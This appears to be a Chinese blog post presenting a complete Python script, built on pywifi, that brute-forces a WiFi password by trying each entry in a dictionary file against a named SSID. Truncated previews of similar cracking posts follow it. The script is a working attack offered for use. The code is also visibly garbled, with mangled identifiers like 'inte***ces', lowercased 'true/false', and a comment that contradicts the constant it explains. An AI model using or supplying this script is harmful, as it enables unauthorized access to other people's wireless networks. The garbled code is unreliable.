Python 暴力破解wifi

2021-09-10 21:44:39 字數 1911 閱讀 7823

思路:

首先檢查是否擁有無限網絡卡

無線網絡卡是否連線到wifi

如果連線到wifi那麼需要斷開連線,因為一張網絡卡同一時間只能連線乙個wifi

搜尋附近的wifi確定連線的目標

使用字典開始嘗試自動連線

**實列:

首先安裝pywifi模組,這個模組專門用來處理wifi的資訊

pip install pywifi # 安裝模組
import pywifi #匯入模組

from pywifi import const # const 是wifi設定的一些常量,如狀態碼成功代表4 失敗代表 0等

import time

def crack(password):

"""破解wifi"""

wifi = pywifi.pywifi() # 實列化乙個物件

# 獲取第一張網絡卡

iface= wifi.inte***ces()[0]

# 斷開網絡卡連線

iface.disconnect()

time.sleep(2)

# 刪除所有的wifi配置檔案(有點類似於不讓wifi熱點記住我們的資訊蕾仕於初始化)

iface.remove_all_network_profiles()

# 建立新的wifi的配置檔案,檔案指定了,wifi的名稱 ,密碼,編碼方式等配置選項

#const.iface_disconnected 其實等於 4,4代表連線成功

if iface.status() == const.iface_disconnected:

profile = pywifi.profile()

profile.ssid = "honor9" #ssid是wifi的名稱

# wifi的開放狀態 (要連線的wifi必須是開放狀態)

profile.auth = const.auth_alg_open

# wifi的加密演算法

profile.cipher = const.cipher_type_ccmp

# wifi密碼

profile.key = password #password在這裡是密碼由read_password()傳入

# 新增新的wifi配置檔案

new_profile = iface.add_network_profile(profile)

# 連線wifi

iface.connect(new_profile)

time.sleep(4)

if iface.status() == const.iface_connected:

return true

else:

return false

else:

print("已連線")

def read_password():

"""讀取密碼"""

print("開始破解")

path = r"d:\我的python\date\pywifi\1.txt" #字典的路徑

with open(path,"r") as f: #開啟字典檔案

while true:

try:

password = f.readline() #讀取檔案的每一行

bool = crack(password)

if bool:

print("破解成功了"+password) #如果破解成功退出程式

break

else:

print("破解失敗"+password)

except:

continue

read_password()

上述**採用的單執行緒,因此效率不是很高,後期可以加入多執行緒解決效率方面的問題

Python暴力破解wifi

import pywifi from pywifi import const import time wifi pywifi.pywifi 抓取網絡卡介面 iface wifi.inte ces 0 抓取第乙個無線網絡卡 iface.disconnect 測試鏈結斷開所有鏈結 讀取密碼字典,進行匹配...

暴力破解WIFI

import pywifi from pywifi import const import time 時間模組 1 匯入模組 2 抓取第乙個網絡卡介面 3 斷開wifi連線 4 從密碼本上讀取密碼 5 設定睡眠時間 3秒左右 名稱 wifi密碼 defwificonnect wifiname,wif...

pywifi暴力破解WIFI

注 在相同目錄下新建乙個janywifi.json檔案 隨機生成8 11位數字,生成過的數字存在janywifi.json檔案裡,不重複,斷點繼續 import time 時間 import pywifi 破解wifi from pywifi import const 引用一些定義 from asy...